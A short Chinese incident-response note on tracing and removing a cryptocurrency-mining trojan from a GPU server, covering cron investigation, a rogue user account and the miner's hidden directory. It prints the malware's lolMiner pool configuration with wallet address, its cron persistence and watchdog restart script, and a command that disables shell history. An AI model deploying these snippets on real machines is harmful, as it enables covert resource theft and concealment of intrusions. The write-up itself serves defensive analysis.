处理服务器上的挖矿木马小记
挖矿木马发现
- 通过
nvidia-smi
发现异常占用程序python36
nvidia-smi
挖矿程序定位(失败)
- 通过ps命令获取进程相关信息
ps -ef | grep python36
- 经观察,发现
/bin/python36
和/bin/config.py
每小时由root重新创建一次且运行,怀疑设定了cron定时任务,但检索各种cron配置无果。
查看用户定时任务:crontab -l
编辑用户定时任务:crontab -e
路径存放处:
/etc/crontab
/var/spool/cron/root
/var/spool/cron/crontabs/root
systemctl
查看父进程信息
systemctl status 59744
确实是使用了cron设置定时任务
- 查看
/tmp
下是否有可疑文件,并没有,清得挺干净
异常用户排查
- 排查
/etc/passwd
,发现异常用户roo1,先用pwck
修复密码文件,然后将其删除
pwck
userdel -r roo1
挖矿程序定位(成功)
- 根据
/bin/python36
挖矿程序的大小进行查找,发现在/opt/.opt
里有可疑程序,执行后确认为挖矿木马相关的所有程序!
find / -size 5222752c
挖矿木马分析
每次运行,会修改dir.dir、cron.d、upd、bash.pid(进程号)、.a(日志文件)
1:lolMiner程序
2:config文件内容(挖矿账号)
algo=ETHASH
pool=node.universitynetservice1979.info:12020
tls=on
user=0xfff23333c1cb3a3c9db8a0d781383cdc2c00b6da.XXXUSERXXX
a:写入upd,写入crontab,运行run(最开始的一次)
pwd > dir.dir
dir=$(cat dir.dir)
#echo "* * * * * $dir/upd >/dev/null 2>&1" > cron.d
echo "@reboot $dir/upd >/dev/null 2>&1" >> cron.d
crontab cron.d
crontab -l | grep upd
echo "#!/bin/sh
if test -r $dir/bash.pid; then
pid=\$(cat $dir/bash.pid)
if \$(kill -CHLD \$pid >/dev/null 2>&1)
then
sleep 1
else
cd $dir
./run &>/dev/null
exit 0
fi
fi" >upd
chmod u+x upd
./run &>/dev/null
bash.pid:
61731
c:“善后”程序,清理各种可疑痕迹
unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG WATCH ; history -n ; export HISTFILE=/dev/null ;